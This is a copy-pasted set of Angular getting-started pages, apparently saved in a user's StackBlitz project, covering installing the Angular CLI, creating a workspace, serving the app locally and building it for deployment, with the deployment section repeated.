-g @angular/cli With the Angular CLI, you can use the command ng to create new workspaces, new projects, serve your application during development, or produce builds to share or distribute. Running your application locally Download the source code from your StackBlitz project by clicking the Download Project icon in the left menu, across from Project, to download your files. Create a new Angular CLI workspace using the ng new command, where my-project-name is what you would like to call your project: content_copy ng new my-project-name This command displays a series of configuration prompts. For this tutorial, accept the default settings for each prompt. In your newly CLI-generated application, replace the /src folder with the /src folder from your StackBlitz download. Use the following CLI command to run your application locally: content_copy ng serve To see your application in the browser, go to http://localhost:4200/. If the default port 4200 is not available, you can specify another port with the port flag as in the following example: content_copy ng serve --port 4201 While serving your application, you can edit your code and see the changes update automatically in the browser. To stop the ng serve command, press Ctrl+c. Building and hosting your application To build your application for production, use the build command with the prod flag. content_copy ng build --prod This command creates a dist folder in the application root directory with all the files that a hosting service needs for serving your application. If the above ng build command throws an error about missing packages, append the missing dependencies in your local project's package.json file to match the one in the downloaded StackBlitz project. Copy the contents of the dist/my-project-name folder to your web server. Because these files are static, you can host them on any web server capable of serving files; such as Node.js, Java, .NET, or any backend such as Firebase, Google Cloud, or App Engine. For more information, see Building & Serving and Deployment. What's next In this tutorial, you've laid the foundation to explore the Angular world in areas such as mobile development, UX/UI development, and server-side rendering. You can go deeper by studying more of Angular's features, engaging with the vibrant community, and exploring the robust ecosystem. Learning more Angular For a more in-depth tutorial that leads you through building an application locally and exploring many of Angular's most popular features, see Tour of Heroes. To explore Angular's foundational concepts, see the guides in the Understanding Angular section such as Angular Components Overview or Template syntax. Joining the community Tweet that you've completed this tutorial, tell us what you think, or submit suggestions for future editions. Keep current by following the Angular blog. Exploring the Angular ecosystem To support your UX/UI development, see Angular Material. To test your Angular applications, see Angular Protractor. The Angular community also has an extensive network of third-party tools and libraries.
bikashmaharana16
Project My Project Setting up the local environment and workspace This guide explains how to set up your environment for Angular development using the Angular CLI tool. It includes information about prerequisites, installing the CLI, creating an initial workspace and starter app, and running that app locally to verify your setup. TRY ANGULAR WITHOUT LOCAL SETUP If you are new to Angular, you might want to start with Try it now!, which introduces the essentials of Angular in the context of a ready-made basic online store app that you can examine and modify. This standalone tutorial takes advantage of the interactive StackBlitz environment for online development. You don't need to set up your local environment until you're ready. Prerequisites To use the Angular framework, you should be familiar with the following: JavaScript HTML CSS Knowledge of TypeScript is helpful, but not required. To install Angular on your local system, you need the following: Node.js Angular requires a current, active LTS, or maintenance LTS version of Node.js. For information about specific version requirements, see the engines key in the package.json file. For more information on installing Node.js, see nodejs.org. If you are unsure what version of Node.js runs on your system, run node -v in a terminal window. npm package manager Angular, the Angular CLI, and Angular applications depend on npm packages for many features and functions. To download and install npm packages, you need an npm package manager. This guide uses the npm client command line interface, which is installed with Node.js by default. To check that you have the npm client installed, run npm -v in a terminal window. Install the Angular CLI You use the Angular CLI to create projects, generate application and library code, and perform a variety of ongoing development tasks such as testing, bundling, and deployment. To install the Angular CLI, open a terminal window and run the following command: content_copy npm install -g @angular/cli Create a workspace and initial application You develop apps in the context of an Angular workspace. To create a new workspace and initial starter app: Run the CLI command ng new and provide the name my-app, as shown here: content_copy ng new my-app The ng new command prompts you for information about features to include in the initial app. Accept the defaults by pressing the Enter or Return key. The Angular CLI installs the necessary Angular npm packages and other dependencies. This can take a few minutes. The CLI creates a new workspace and a simple Welcome app, ready to run. You also have the option to use Angular's strict mode, which can help you write better, more maintainable code. For more information, see Strict mode. Run the application The Angular CLI includes a server, so that you can build and serve your app locally. Navigate to the workspace folder, such as my-app. Run the following command: content_copy cd my-app ng serve --open The ng serve command launches the server, watches your files, and rebuilds the app as you make changes to those files. The --open (or just -o) option automatically opens your browser to http://localhost:4200/. If your installation and setup was successful, you should see a page similar to the following. Welcome to my-app! Next steps For a more thorough introduction to the fundamental concepts and terminology of Angular single-page app architecture and design principles, read the Angular Concepts section. Work through the Tour of Heroes Tutorial, a complete hands-on exercise that introduces you to the app development process using the Angular CLI and walks through important subsystems. To learn more about using the Angular CLI, see the CLI Overview. In addition to creating the initial workspace and app scaffolding, you can use the CLI to generate Angular code such as components and services. The CLI supports the full development cycle, including building, testing, bundling, and deployment. For more information about the Angular files generated by ng new, see Workspace and Project File Structure. ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------DEPLOYING AN APPLICATION Deploying your application is the process of compiling, or building, your code and hosting the JavaScript, CSS, and HTML on a web server. This section builds on the previous steps in the Getting Started tutorial and shows you how to deploy your application. Prerequisites A best practice is to run your project locally before you deploy it. To run your project locally, you need the following installed on your computer: Node.js. The Angular CLI. From the terminal, install the Angular CLI globally with: content_copy npm install -g @angular/cli With the Angular CLI, you can use the command ng to create new workspaces, new projects, serve your application during development, or produce builds to share or distribute. Running your application locally Download the source code from your StackBlitz project by clicking the Download Project icon in the left menu, across from Project, to download your files. Create a new Angular CLI workspace using the ng new command, where my-project-name is what you would like to call your project: content_copy ng new my-project-name This command displays a series of configuration prompts. For this tutorial, accept the default settings for each prompt. In your newly CLI-generated application, replace the /src folder with the /src folder from your StackBlitz download. Use the following CLI command to run your application locally: content_copy ng serve To see your application in the browser, go to http://localhost:4200/. If the default port 4200 is not available, you can specify another port with the port flag as in the following example: content_copy ng serve --port 4201 While serving your application, you can edit your code and see the changes update automatically in the browser. To stop the ng serve command, press Ctrl+c. Building and hosting your application To build your application for production, use the build command with the prod flag. content_copy ng build --prod This command creates a dist folder in the application root directory with all the files that a hosting service needs for serving your application. If the above ng build command throws an error about missing packages, append the missing dependencies in your local project's package.json file to match the one in the downloaded StackBlitz project. Copy the contents of the dist/my-project-name folder to your web server. Because these files are static, you can host them on any web server capable of serving files; such as Node.js, Java, .NET, or any backend such as Firebase, Google Cloud, or App Engine. For more information, see Building & Serving and Deployment. What's next In this tutorial, you've laid the foundation to explore the Angular world in areas such as mobile development, UX/UI development, and server-side rendering. You can go deeper by studying more of Angular's features, engaging with the vibrant community, and exploring the robust ecosystem. Learning more Angular For a more in-depth tutorial that leads you through building an application locally and exploring many of Angular's most popular features, see Tour of Heroes. To explore Angular's foundational concepts, see the guides in the Understanding Angular section such as Angular Components Overview or Template syntax. Joining the community Tweet that you've completed this tutorial, tell us what you think, or submit suggestions for future editions. Keep current by following the Angular blog. Exploring the Angular ecosystem To support your UX/UI development, see Angular Material. To test your Angular applications, see Angular Protractor. The Angular community also has an extensive network of third-party tools and libraries.
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